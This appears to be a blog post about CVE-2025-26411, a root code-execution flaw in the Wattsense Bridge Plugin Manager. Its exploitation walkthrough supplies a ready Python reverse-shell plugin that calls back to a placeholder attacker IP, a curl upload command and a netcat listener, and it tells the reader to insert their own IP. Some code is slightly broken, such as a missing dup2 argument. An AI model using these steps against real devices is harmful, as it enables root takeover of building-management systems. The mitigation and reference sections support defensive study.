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Introduction

CVE-2025-26411 is a serious security vulnerability found in Wattsense Bridge devices, specifically concerning the Plugin Manager feature which allows authenticated users to upload custom Python plugins. An attacker with valid credentials can exploit this weakness to upload malicious Python code, gaining remote root access to the device. This long-read post will explain how the vulnerability works, walk through the exploitation step by step, and provide references for further reading.

Note: Wattsense has released a fix in firmware versions BSP >= 6.1.. Devices running older versions are still vulnerable.

What Is the Wattsense Bridge?

Wattsense produces IoT gateway devices called “Bridge” units, designed for building management. They expose a web interface controlling plugins for device functionality. The Plugin Manager is intended for safe, user-made Python extensions – but in affected versions, it doesn't properly secure uploads before execution.

All Wattsense Bridge devices running BSP firmware < 6.1.

- Attackers must have a *valid user account* for the web interface (e.g. default credentials, shared credentials, or a phished account)

Authenticated access: The attacker logs in to the web interface.

2. Upload Malicious Plugin: The attacker uses the Plugin Manager UI or API to upload a crafted Python file (malware).

Code Execution: The Wattsense device loads and runs this code with system privileges.

4. Privilege Escalation: The uploaded code can execute system commands as root, providing full device control.

Exploit Walkthrough

Let’s look at an exclusive and simple code snippet below, simulating the attack.

1. Prepare the Malicious Plugin (evil_plugin.py)

Suppose the Plugin Manager allows uploading any .py file. The uploaded plugin will be run as root.

Example malicious plugin (reverse shell)

# evil_plugin.py

import socket,subprocess,os

def run():
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(('YOUR.ATTACKER.IP',4444))
    os.dup2(s.fileno(),) # stdin
    os.dup2(s.fileno(),1) # stdout
    os.dup2(s.fileno(),2) # stderr
    p=subprocess.call(['/bin/sh','-i'])

run()

Replace YOUR.ATTACKER.IP with the actual IP address you control.

Select and upload evil_plugin.py.

OR:

Automate via HTTP POST request (example cURL)

curl -u username:password -F 'plugin=@evil_plugin.py' https://TARGET_DEVICE_IP/api/plugins/upload

The plugin is now executed by the device.

- As soon as the plugin runs, you get a reverse connection to your listener, with root shell access.

On your attack machine, set up listener before uploading

nc -lvnp 4444

Mitigation

Wattsense Firmware Update Released:
This vulnerability is fixed in BSP >= 6.1..

- Wattsense Firmware Releases

Official References

- NVD - CVE-2025-26411 _(pending)_
- Wattsense Security Advisory
- Exploit discussion: Packet Storm Security

Conclusion

CVE-2025-26411 is a critical vulnerability in Wattsense Bridge’s Plugin Manager that allows any authenticated user to upload and run arbitrary Python code as root. Gaining just valid credentials is enough for an attacker to take over a device, install malware, or pivot deeper into your network. Update all affected Wattsense devices to firmware BSP 6.1. or later, limit account access, and monitor logs for suspicious plugin uploads.

Stay safe – always keep IoT device software up to date!


*This post is exclusive to help administrators and researchers understand the risk and how to protect their systems. For additional technical details, always check the official advisories and NVD entry once published.*

Timeline

Published on: 02/11/2025 10:15:09 UTC
Last modified on: 03/14/2025 18:15:31 UTC